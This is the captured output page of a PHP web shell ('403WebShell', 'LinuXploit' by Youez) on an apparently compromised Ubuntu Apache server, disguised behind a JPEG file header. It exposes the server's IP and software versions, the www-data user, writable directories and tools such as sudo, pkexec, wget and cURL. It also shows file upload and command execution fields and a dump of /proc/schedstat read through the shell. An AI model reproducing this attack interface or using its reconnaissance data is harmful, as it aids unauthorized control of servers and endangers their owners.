????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.209
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/schedstat
version 15
timestamp 38080254220
cpu0 2338175617 0 711522991 2215491378 831592122 2999251648 28141608641500790 281338844677487 13337370641
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000041 322273125 319356035 1461809 309167533 1502898 62138 186978 319169057 286302727 284889630 1152852 57174246 267540 80246 2727 284886903 3449169623 3442207950 3731196 425730362 3328512 59737 49703 3442158247 9247 6 9241 0 0 0 0 0 0 493037935 9807863 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 316109296 254998129 38585145 1686337083 26301873 4520192 39492694 87188806 202719367 182463027 19523737 2656367314 769459 102256 13765622 45754376 3445939146 3009541473 425992902 4166620783 10731056 1096044 1852656645 1156884828 3515034 10490 3504544 0 0 0 0 0 0 1634269768 406309225 0
cpu1 1984312464 0 2791616740 1934689186 1887991438 1256045237 25795359573436501 229117758337978 11757502837
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000082 166586037 163931056 1330146 362781054 1355461 53356 138378 163792678 289210016 287696405 1248963 59191091 271375 102988 2127 287694278 3686268461 3679170280 3824263 469849252 3370857 59998 53477 3679116803 9570 10 9560 0 0 0 0 0 0 484676377 7055109 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 164136835 105992260 38007618 1379948045 23910638 4591798 30695278 18047525 203084005 182405787 19905622 2721912018 811592 105127 14021753 45051874 3682994543 3256840569 418206297 4206316363 8223865 1134433 2215489012 1041351557 3547725 16350 3531375 0 0 0 0 0 0 147269824 244855757 0
cpu2 1630046571 0 1528631796 1517084378 1767307837 1279891506 25560758790314532 224054210469480 11266409424
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000104 167154065 164888520 1039735 311348864 1251731 39502 82523 164805999 293442991 292012921 1165182 56379637 270766 87672 2003 292010918 3703191208 3696119154 3762864 460678929 3407275 55316 51052 3696068102 8839 1 8838 0 0 0 0 0 0 496325616 6602092 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 165040368 110084989 37222223 1084839961 21624105 4827139 27298676 18416476 205207458 183822484 20573488 2825813107 853475 112753 14047303 44199700 3699882018 3274463335 417845866 227835135 7815593 1203647 2253473937 1020989398 3702331 14667 3687664 0 0 0 0 0 0 4286058011 213235957 0
cpu3 1823444123 0 3412920533 1583468607 4016524723 2965618302 26132614971889992 246379446517349 12889992125
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000208 396756529 394791055 798046 189235899 1199541 46859 60205 394730858 299539565 298016942 1251251 79081351 280095 99979 5446 298011496 3512926587 3505766757 3781391 416116364 3489167 55957 49924 3505716833 9522 6 9516 0 0 0 0 0 0 554384238 12332711 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 387337676 336369226 35489865 867635592 19577684 5192298 34529367 77008017 210880277 189363361 20721887 2767244437 827475 112994 12711184 43823269 3509548148 3060620994 437563479 1698790463 11733016 1312979 1752820581 1307800413 3975649 13020 3962629 0 0 0 0 0 0 496522183 376411305 0
cpu4 2381631442 0 422881167 2097142770 4245073686 2983907338 27375444345867707 253776700305724 13123569145
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000410 309334882 307656868 588549 140282670 1115313 32702 45730 307611141 285372676 283969846 1135299 59729551 274776 88421 3002 283966844 3372620363 3365610863 3655006 395030167 3459844 49097 51747 3365559116 8971 4 8967 0 0 0 0 0 0 592668835 9759907 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 302970381 253834613 35686729 685233745 17717314 5410139 34751558 84997613 200861196 179068257 20968031 2796902542 862118 118088 12941660 43346592 3369265869 2923937018 435055203 1272495519 10597858 1397141 1783864625 1140072393 4138837 8555 4130282 0 0 0 0 0 0 668497513 361501281 0
cpu5 2494596848 0 1162245754 2400668128 394643484 3010374756 28189848623947890 260650398006253 13446326788
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000820 306016021 304093890 817251 269944250 1129887 31068 37924 304055967 292094815 290651271 1164523 62325267 286815 96119 3481 290647790 3478688693 3471005092 4032995 503125783 3765047 64461 58449 3470946643 9089 7 9082 0 0 0 0 0 0 589754308 10151479 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 299711986 251661686 36012375 574919290 16511283 5712799 34456597 89602469 204423167 182055558 21522711 2843254226 881346 120339 12553513 43188469 3475038087 3011231683 453099154 3203804097 11029981 1558324 1811626641 1199605042 4357554 5719 4351835 0 0 0 0 0 0 1089481716 412668821 0
cpu6 2858093646 0 2773120342 3854616440 4147426781 585925321 14582537865233871 177861935733198 4650366757
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000041 243575985 238747838 3653467 507294316 1315341 156764 47344 238700492 149561989 147081276 2078871 190480465 415716 82885 5844 147075432 1052156978 1040058047 8157524 1084352990 4087882 75645 471022 1039587025 133686 498 133188 0 0 0 0 0 0 366999805 5569748 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 241400531 209688815 22562501 3317274835 10147364 1604309 16224041 6833949 123768132 123768132 0 0 0 0 0 2 1048215571 681816894 360787902 2757217003 5884193 701787 446895294 234921600 906500 2443 904057 0 0 0 0 0 0 3194501655 30487828 0
cpu7 2816349409 0 2579186821 3792543368 4261358080 481496417 14838498224634284 175667712903115 4560268779
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000082 115641286 113796446 723222 134001151 1143802 31258 27394 113769052 157261781 155061234 1830039 113256348 380629 103043 4000 155057234 1020840125 1012039182 5159148 649997866 3758777 65975 248006 1011791176 16847 27 16820 0 0 0 0 0 0 408368029 4901186 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 113831018 83365667 22100531 3217211988 9385505 1661777 9137090 2171446 130410094 130410094 0 0 0 0 0 0 1017198330 642419347 369262663 4011900528 5773427 751388 463339759 179079588 932972 3660 929312 0 0 0 0 0 0 3371493634 26236210 0
cpu8 2897969439 0 2844919450 3901685704 103367379 463120252 15009779881384702 172096285373620 4635246093
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000104 110056915 108422678 544579 114260553 1109898 25276 24048 108398630 160337416 158260220 1708393 104311353 377947 90186 3724 158256496 1046127211 1037564246 4906205 615232847 3777068 63186 193483 1037370763 15383 26 15357 0 0 0 0 0 0 426394001 4212484 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 108470777 78926544 22198860 3150586600 8404657 1713399 10251642 2554446 132219442 132219442 0 0 0 0 0 0 1042470451 664368417 372651926 47233917 5681061 794546 487129771 177238646 983723 3177 980546 0 0 0 0 0 0 3508820422 24052468 0
cpu9 3164662134 0 3471890986 4123722971 3872313213 418800043 14756832864086651 157947475682052 4773365676
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000208 104519350 100103782 3337743 467413038 1158309 82150 26822 100076957 153575898 151168479 1988706 182248680 439664 99442 6469 151162010 1029170996 1016437541 8768939 1099096328 4148167 86608 1299463 1015138078 69726 354 69372 0 0 0 0 0 0 420563927 3447458 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 103020066 74968171 22088264 3015018976 7027804 1731019 11047277 6009251 126740716 126740716 0 0 0 0 0 0 1025206480 641354278 378359890 682721505 5806564 815169 440084007 201270271 1015825 2625 1013200 0 0 0 0 0 0 3032949243 22776255 0
cpu10 3144493920 0 3414741034 4106344242 3780703491 418368157 14819815768512467 154836064217393 4753773312
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000410 104478881 100079977 3356618 449440252 1182216 148553 21704 100058272 154001667 151607043 1991256 194835160 417476 89048 6036 151601007 1027821894 1015530435 8313782 1123093627 4128552 68595 634018 1014896417 133770 575 133195 0 0 0 0 0 0 449966516 4168888 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 103012685 75577178 22200951 2972085077 6335205 1781015 12155170 5581216 126743571 126743571 0 0 0 0 0 0 1023844217 640039752 378391187 553057289 5675434 858067 435331982 204707770 1048640 1407 1047233 0 0 0 0 0 0 2912368818 23265827 0
cpu11 3038227005 0 3124328876 4008204078 3807470494 425461854 14671427645740006 159258726182514 4667753438
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000820 110897162 106229257 3569105 512237427 1266195 180009 19382 106209874 154590965 152151137 2022455 200648512 432088 96637 5933 152145204 1026522619 1013380394 8917577 1248242454 4380891 70445 589787 1012790607 160491 182 160309 0 0 0 0 0 0 451865148 5115736 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 109163408 81921606 22613268 2963562711 5781715 1852496 12505934 5834253 129031636 129031636 0 0 0 0 0 0 1022297971 624904804 391805354 1917005019 5847309 926446 425012258 199892546 1105507 68 1105439 0 0 0 0 0 0 2930143492 26291212 0

Youez - 2016 - github.com/yon3zu
LinuXploit